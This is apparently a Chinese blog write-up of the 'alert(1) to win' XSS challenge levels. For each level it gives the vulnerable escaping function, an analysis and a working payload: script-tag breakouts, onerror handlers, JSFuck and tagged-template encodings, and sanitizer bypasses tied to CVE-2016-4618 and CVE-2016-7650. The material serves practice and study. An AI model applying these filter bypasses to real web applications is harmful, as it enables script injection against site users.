alert(1) to win

练习网址

用chrome练习,firefox会出现莫名的bug(比如第四题Markdown)

//最后几题静等大佬write-up

0x01 Warmup

  • 源码
function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}
  • 分析

直接构造");alert(1)//闭合console.log()

  • 结果
");alert(1)//

0x02 Adobe

  • 源码
function escape(s) {
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}
  • 分析

replace() 方法用于在字符串中用一些字符替换另一些字符,或替换一个与正则表达式匹配的子串。

这里使用replace函数将"替换成了\"

<>没有影响,直接构造</script><script>alert(1)//将前面的console.log()闭合,然后开启一个新的函数。

  • 结果
</script><script>alert(1)//

0x03 JSON

  • 源码
function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}
  • 分析

JSON.stringify() 方法将一个 JavaScript 值(对象或者数组)转换为一个 JSON 字符串,如果指定了 replacer 是一个函数,则可以选择性地替换值,或者如果指定了 replacer 是一个数组,则可选择性地仅包含数组指定的属性。

JSON.stringify会对双引号 " 和转义字符 \ 进行转义,没有对 < > ' / 字符进行处理。

同2,直接构造</script><script>alert(1)//即可。

  • 结果
</script><script>alert(1)//

0x04 Markdown

  • 源码
function escape(s) {
  var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}
  • 分析

onerror 事件在视频/音频(audio/video)数据加载期间发生错误时触发(然后运行后面的js错误处理脚本)

第一条规则:将输入中的<"分别转义,得到text1;
第二条规则:将text1中http://S+形式的字符串替换成<a href="http://S+">http://S+</a>(这里的S+表示匹配任意的非空白字符且数量不限),得到text2;
第三条规则:将text2中[[a|b]]格式的字符转变为<img alt="b" src="a.gif">的形式。

根据规则可以构造[a|http://onerror=alert(1)//]让src中的图片执行失败从而触发执行onerror中的代码alert(1)

  • 结果
[[a|http://onerror=alert(1)//]]

0x05 DOM

  • 源码
function escape(s) {
  // Slightly too lazy to make two input fields.
  // Pass in something like "TextNode#foo"
  var m = s.split(/#/);

  // Only slightly contrived at this point.
  var a = document.createElement('div');
  a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
  return a.innerHTML;
}
  • 分析

document.createElement()是在对象中创建一个对象,要与appendChild() 或 insertBefore()方法联合使用。其中,appendChild() 方法在节点的子节点列表末添加新的子节点。insertBefore() 方法在节点的子节点列表任意位置插入新的节点。

#作为分隔符输入两个参数,如果 # 前面是 Element 结果就是创建一个新的节点,具体什么节点由 #后面指定,而如果#前面是 Comment,那么 #后面就变成注释内容,闭合注释符号然后写入自己的代码即可。

这里构造Comment#<script>alert(1)</script>

  • 结果
Comment#-><script>alert(1)</script>//

0x06 Callback

  • 源码
function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/); 

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/</g, '\\u003c');
  return "<script>" + thing[0] + "(" + json +")</script>";
}
  • 分析

第一条规则:限定#左边的输入部分只能含有a-zA-Z[]'
第二条规则:定义了一个obj为{'userdata':右}
第三条规则:将#右边的输入部分中含有的<变为\u003c
第四条规则:最后返回形式为<script>左({'userdata': 右})</script>
(这个可以测试一下,然后根据实际情况来判断返回结果,这里可以发现事实不是分析的这样)
根据上面三条规则(尤其第二条未限定'的使用),可以构造'a#';alert(1)//,利用' '将中间的一堆式子闭合,然后执行alert(1)

  • 结果
'a#';alert(1)//

0x07 Skandia

  • 源码
function escape(s) {
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
  • 分析

toUpperCase() 方法用于把字符串转换为大写。

利用html标签对于大小写不敏感的特点。先用</script>将前面的<script>闭合,然后构造一个可以执行的alert(1)的标签,记得将标签内部的alert转化为html字符实体。(实体字符相对于html代码是无特殊意义,但是通过html转换成了小写的刚好执行JS代码)
最终构造为"></script><img src=1 onerror=&#97;&#108;&#101;&#114;&#116;(1)>//

  • 结果
"></script><img src=1 onerror=&#97;&#108;&#101;&#114;&#116;(1)>//

0x08 Template

  • 源码
function escape(s) {
  function htmlEscape(s) {
    return s.replace(/./g, function(x) {
       return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;       
     });
  }

  function expandTemplate(template, args) {
    return template.replace(
        /{(\w+)}/g, 
        function(_, n) { 
           return htmlEscape(args[n]);
         });
  }
  
  return expandTemplate(
    "                                                \n\
      <h2>Hello, <span id=name></span>!</h2>         \n\
      <script>                                       \n\
         var v = document.getElementById('name');    \n\
         v.innerHTML = '<a href=#>{name}</a>';       \n\
      <\/script>                                     \n\
    ",
    { name : s }
  );
}
  • 分析

这里对< > " ' &进行了转化。
整个程序的重点在于v.innerHTML = '<a href=#>{name}</a>';,这里由于没有对\进行转义,可以利用< >的十六进制格式绕过对他们的转义。
<的十六进制为\x3c
>的十六进制为\x3e
最后构造为\x3cimg src=1 onerror=alert(1)\x3e\\

  • 结果
\x3cimg src=1 onerror=alert(1)\x3e\\

0x09 JSON2

  • 源码
function escape(s) {
  s = JSON.stringify(s).replace(/<\/script/gi, '');

  return '<script>console.log(' + s + ');</script>';
}
  • 分析

这里将输入的</script转为了空,所以可以采取嵌套的方式来绕过。
即可构造")</scri</scriptpt><script>alert(1)//

  • 结果
")</scri</scriptpt><script>alert(1)//

0x10 Callback2

  • 源码
function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/); 

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/\//g, '\\/');
  return "<script>" + thing[0] + "(" + json +")</script>";
}
  • 分析

相比于上面的Callback新增了一个对/的转义,这里的/主要作用是注释,所以解决方式为用<!-(-)(这里是两个-,直接编辑出来有bug)代替\的作用。

  • 结果
'a#';alert(1)<!--

0x11 Skandia2

  • 源码
function escape(s) {
  if (/[<>]/.test(s)) return '-';

  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
  • 分析

这里在7 Skandia的基础上添加了限制条件:只要有< >字符出现,则会输出-
可用jsfuck编码绕过(jsfuck是一种编码形式,用于js时可以被渲染为alert(1))。
网址:www.jsfuck.com

  • 结果
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//

0x12 iframe

  • 源码
function escape(s) {
  var tag = document.createElement('iframe');

  // For this one, you get to run any code you want, but in a "sandboxed" iframe.
  //
  // https://4i.am/?...raw=... just outputs whatever you pass in.
  //
  // Alerting from 4i.am won't count.

  s = '<script>' + s + '<\/script>';
  tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);

  window.WINNING = function() { youWon = true; };

  tag.setAttribute('onload', 'youWon && alert(1)');
  return tag.outerHTML;
}
  • 分析

需要给youWon一个定义,使得 youWon = true成立,然后触发alert(1)
iframe中的name属性恰好满足youWon的定义,所以最后的构造为name="youWon"

  • 结果
name="youWon"

0x13 TI(S)M

  • 源码
function escape(s) {
  function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
  function html(s) { return s.replace(/[<>"&]/g, function(s) {
                        return '&#' + s.charCodeAt(0) + ';'; }); }

  return (
    '<script>' +
      'var url = ' + json(s) + '; // We\'ll use this later ' +
    '</script>\n\n' +
    '  <!-- for debugging -->\n' +
    '  URL: ' + html(s) + '\n\n' +
    '<!-- then suddenly -->\n' +
    '<script>\n' +
    '  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
    '  else new Image().src = url;\n' +
    '</script>'
  );
}
  • 分析
    //没弄清楚,大佬是这样说的。。。
HTML5解析器会将<!--<script>到</script>之间的任何东西都当作 JS
代码处理,同时要确保代码中还有一个-->来防止解析器报语法错误。所以可以构造if(alert(1)/*<!--<script>
  • 结果
if(alert(1)/*<!--<script>

0x14 JSON3

  • 源码
function escape(s) {
  return s.split('#').map(function(v) {
      // Only 20% of slashes are end tags; save 1.2% of total
      // bytes by only escaping those.
      var json = JSON.stringify(v).replace(/<\//g, '<\\/');
      return '<script>console.log('+json+')</script>';
      }).join('');
}
  • 分析

output:

<script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->")</script>

利用html解析器进行注入,-->让解析器误认为已经结束了script。
html5会把<!-(-)<script><语句 (-)-> 中的语句用js引擎去解析。
这里的 /script><script>console.log(");/ 被解析成了正则,(注入的其中两个字符)/就为了欺骗JS引擎,JS引擎会将两个斜杠之间的内容当作正则表达式处理,用这个办法来闭合掉这些多余的字符。)alert后面加//是为了注释掉后面的-->防止出错。

  • 结果
<!--<script>#)/;alert(1)//-->

0x15 Skandia3

  • 源码
function escape(s) {
  if (/[\\<>]/.test(s)) return '-';

  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
  • 分析

由于\被限制了,所以这里八进制形式不可行,采用另外一种编码方式。详情

  • 结果
");_=''+!1+!0+{}[0]+{};[][_[3]+_[19]+_[6]+_[5]][_[23]+_[19]+_[10]+_[3]+_[5]+_[6]+_[7]+_[23]+_[5]+_[19]+_[6]](_[1]+_[2]+_[4]+_[6]+_[5]+'(1)')()//

0x16 RFC4627

  • 源码
function escape(text) {
  var i = 0;
  window.the_easy_but_expensive_way_out = function() { alert(i++) };

// "A JSON text can be safely passed into JavaScript's eval() function
// (which compiles and executes a string) if all the characters not
// enclosed in strings are in the set of characters that form JSON
// tokens."

  if (!(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
          text.replace(/"(\\.|[^"\\])*"/g, '')))) {
    try { 
      var val = eval('(' + text + ')');
      console.log('' + val);
    } catch (_) {
      console.log('Crashed: '+_);
    }
  } else {
    console.log('Rejected.');
  }
}
  • 分析
    //大佬讲得很好,直接引用了
    主要是通过self调用全局函数the_easy_but_expensive_way_out两次,从而触发alert函数。

据说这题是基于真实的案例,Stefano Di Paola记载在这篇文章中。
仔细看一下这个表达式,它是允许我们输入self的,如果是这样的话,我们就可以通过它来调用全局函数the_easy_but_expensive_way_out了。
这题的技巧就是让一个对象和一个值或者一个字符相加。这样JS引擎就会去计算我们的对象的值,怎么计算呢?就是调用这个对象的valueOf方法,如果我们将valueOf方法定义为题目中的the_easy_but_expenssive_way_out,,就可以触发alert函数了,但是由于是alert(i++),i从0开始,所以我们要调用两次。
solution(103): {"valueOf":self["the_easy_but_expensive_way_out"]}+0,{"valueOf":self["the_easy_but_expensive_way_out"]}
需要提醒的是,第一次是由eval调用,第二次是由console.log调用。

  • 结果
{"valueOf":self["the_easy_but_expensive_way_out"]}+0,{"valueOf":self["the_easy_but_expensive_way_out"]}

0x17 Well

  • 源码
function escape(s) {
  http://www.avlidienbrunn.se/xsschallenge/

  s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
  return "<script> var email = '" + s + "'; <\/script>";
}
  • 分析

valueOf() 方法用于返回给定参数的原生 Number 对象值,参数可以是原生数据类型, String等。
该方法是静态方法。该方法可以接收两个参数一个是字符串,一个是基数。

String.fromCharCode:将 Unicode 编码转为一个字符;

更高级的形式的模板字符串是带标签的模板字符串。标签使您可以用函数解析模板字符串。标签函数的第一个参数包含一个字符串值的数组。其余的参数与表达式相关。最后,你的函数可以返回处理好的的字符串(或者它可以返回完全不同的东西 , 如下个例子所述)。用于该标签的函数的名称可以被命名为任何名字。

这里的方法与0x16 RFC4627的方法一样,需要构造
'+{valueOf:Function('alert(1)')}//
但是由于( )也被过滤了,可以使用js中的带标签的模板字符串来替代掉。
最终构造为
'+{valueOf:Function`a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`}//

  • 结果
'+{valueOf:Function`a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`}//

0x18 No

  • 源码
// submitted by Stephen Leppik

function escape(s) {
    s = s.replace(/[()`<]/g, ''); // no function calls

    return '<script>\n' +
           'var string = "' + s + '";\n' +
           'console.log(string);\n' +
           '</script>';
}
  • 分析

throw 语句允许您创建自定义错误。
eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。
eval的抛出:
如果参数中没有合法的表达式和语句,则抛出 SyntaxError 异常。
如果非法调用 eval(),则抛出 EvalError 异常。
如果传递给 eval() 的 Javascript 代码生成了一个异常,eval() 将把该异常传递给调用者。

通过throw自定义=alert\x281\x29这个错误字符串产生一个js错误,然后调用分配给onerror的函数eval来处理这个错误字符串(即=alert\x281\x29),最后达到弹框效果。
//这里由于过滤了( ),所以采用转义为十六进制的方式绕过。

  • 结果
";onerror=eval;throw'=alert\x281\x29';//

0x19 K'Z'K(1)

  • 源码
// submitted by Stephen Leppik
function escape(s) {
    // remove vowels in honor of K'Z'K the Destroyer
    s = s.replace(/[aeiouy]/gi, '');
    return '<script>console.log("' + s + '");</script>';
} 
  • 分析

在skandia3的基础上将其中的aeiouy转化为十六进制。
a、e、i、o、u、y的十六进制分别为:\x61,\x65,\x69,\x6f,\x75,\x79
这里直接用skandia3的payload就行。

也可以借助匿名函数和编码来绕过,构造结果为:

");[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()//
  • 结果
");_=''+!1+!0+{}[0]+{};[][_[3]+_[19]+_[6]+_[5]][_[23]+_[19]+_[10]+_[3]+_[5]+_[6]+_[7]+_[23]+_[5]+_[19]+_[6]](_[1]+_[2]+_[4]+_[6]+_[5]+'(1)')()//

0x20 K'Z'K (2)

  • 源码
// submitted by Stephen Leppik
function escape(s) {
    // remove vowels and escape sequences in honor of K'Z'K 
    // y is only sometimes a vowel, so it's only removed as a literal
    s = s.replace(/[aeiouy]|\\((x|u00)([46][159f]|[57]5)|1([04][15]|[15][17]|[26]5))/gi, '')
    // remove certain characters that can be used to get vowels
    s = s.replace(/[{}!=<>]/g, '');
    return '<script>console.log("' + s + '");</script>';
}
  • 分析

在0x19 K'Z'K (1)的基础上采用双写绕过。

  • 结果
");[]["p\\x6fx6fp"]["c\\x6fx6fnstr\\x75x75ct\\x6fx6fr"]('\\x61x61l\\x65x65rt(1)')()//

0x21 K'Z'K (3)

  • 源码
// submitted by Stephen Leppik
function escape(s) {
    // remove vowels in honor of K'Z'K the Destroyer
    s = s.replace(/[aeiouy]/gi, '');
    // remove certain characters that can be used to get vowels
    s = s.replace(/[{}!=<>\\]/g, '');
    return '<script>console.log("' + s + '");</script>';
}
  • 分析

过滤了\,无法采用编码的方式绕过,所以采用最原始的构造。

  • 结果
");[]['m'+(++[][[]]+[])[1]+'p']['c'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'nstr'+([][[]]+[])[0]+'ct'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'r']((++[][[]]+[])[1]+'l'+([][[]]+[])[3]+'rt(1)')()//

0x22 Fruit

  • 源码
// CVE-2016-4618
function escape(s) {
  var div = document.implementation.createHTMLDocument().createElement('div');
  div.innerHTML = s;
  function f(n) {
    if ('SCRIPT' === n.tagName) n.parentNode.removeChild(n);
    for (var i=0; i<n.attributes.length; i++) {
      var name = n.attributes[i].name;
      if (name !== 'class') { n.removeAttribute(name); }
    }
  }
  [].map.call(div.querySelectorAll('*'), f);
  return div.innerHTML;
}
  • 分析

在for循环中,代码通过n.attributes.length来判断边界条件,但是n.attributes.length是动态变化的,如果存在多个属性,则最后一个属性是无法删除的,所以构造多个属性即可。

  • 结果
<iframe e onload=alert(1)>

0x23 Fruit 2

  • 源码
// CVE-2016-7650
function escape(s) {
  var div = document.implementation.createHTMLDocument().createElement('div');
  div.innerHTML = s;
  function f(n) {
    if (/script/i.test(n.tagName)) n.parentNode.removeChild(n);
    for (var i=0; i<n.attributes.length; i++) {
      var name = n.attributes[i].name;
      if (name !== 'class') { n.removeAttribute(name); }
    }
  }
  [].map.call(div.querySelectorAll('*'), f);
  return div.innerHTML;
}
  • 分析

和fruite1一样

  • 结果
<iframe f onload=alert(1)>

0x24 Fruit 3

  • 源码
// Apple
function escape(s) {
  var div = document.implementation.createHTMLDocument().createElement('div');
  div.innerHTML = s;
  function f(n) {
    if (/script/i.test(n.tagName)) n.parentNode.removeChild(n);
    for (var i=0; i<n.attributes.length; i++) {
      var name = n.attributes[i].name;
      if (name !== 'class') { n.removeAttribute(name); i--; }
    }
  }
  [].map.call(div.querySelectorAll('*'), f);
  return div.innerHTML;
}
  • 分析

增加了if (name !== 'class') { n.removeAttribute(name); i--; }

  • 结果

0x25 Capitals

  • 源码
// submitted by msamuel
function escape(s) {
  var capitals = {
    "CA": {
      "AB": "Edmonton",
      "BC": "Victoria",
      "MB": "Winnipeg",
      // etc.
    },
    "US": {
      // Alabama changed its state capital.
      "AL": ((year) => year < 1846 ? "Tuscaloosa" : "Montgomery"),
      "AK": "Juneau",
      "AR": "Phoenix",
      // etc.
    },
  };
 
  function capitalOf(country, stateOrProvinceName, year) {
    var capital = capitals[country][stateOrProvinceName];
    if (typeof capital === 'function') {
      capital = capital(year);
    }
    return capital
  }

  var inputs = (s || "").split(/#/g);
  return '<b>'+capitalOf(inputs[0], inputs[1], inputs[2])+'</b>';
}
  • 分析

使用匿名函数,使用</b>闭合<b>最后构造为CA#constructor#</b><script>alert(1)</script>

  • 结果
CA#constructor#</b><script>alert(1)</script>

0x26 Quine

  • 源码
// submitted by Somebody
function escape(s) {
    // We've got a quine level in all of the other
    // games, so why not have one here?
    var win = alert;
    window.alert = function(t) {
        if (t === s)
            win(1);
        else
            console.log("Alert: " + t + "\n(That's not a quine)");
    }
    return s;
}
  • 分析
  • 结果

0x27 Entities

  • 源码
// submitted by securityMB
function escape(s) {
  function htmlentities(s) {
    return s.replace(/[&<>"']/g, c => `&#${c.charCodeAt(0)};`)
  }
  s = htmlentities(s);
  return `<script>
  var obj = {};
  obj["${s}"] = "${s}";
</script>`;
}
  • 分析

过滤了& < > " ',通过测试可以构造];alert(1);//\,最后的\用于转义。

  • 结果
];alert(1);//\

0x28 Entities 2

  • 源码
// submitted by securityMB
function escape(s) {
  // Firefox-only
  function htmlentities(s) {
    return s.replace(/[&<>"']/g, c => `&#${c.charCodeAt(0)};`)
  }
  s = htmlentities(s);
  return `<textarea id=t></textarea>
<script>
  t.innerHTML = "${s}";
</script>`;
}
  • 分析
  • 结果

0x29 %level%

  • 源码
// submitted anonymously
function escape(s) {
    const userInput = JSON.stringify(s).replace(/[<]/g, '%lt').replace(/[>]/g, '%gt');
    const userTemplate = '<script>let some = %userData%</script>';
    return userTemplate.replace(/%userData%/, userInput);
}
  • 分析

先使用$'插入当前匹配的子串右边的内容</script>来闭合<script>,避免"的干扰;然后使用$`插入当前匹配的子串左边的内容<script>let some =来直接调用alert(1);最后\\注释掉后面的"</script>,最终构造为$'$`alert(1)//

  • 结果
$'$`alert(1)//

参考1
参考2

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,752评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,100评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,244评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,099评论 1 286
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,210评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,307评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,346评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,133评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,546评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,849评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,019评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,702评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,331评论 3 319
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,030评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,260评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,871评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,898评论 2 351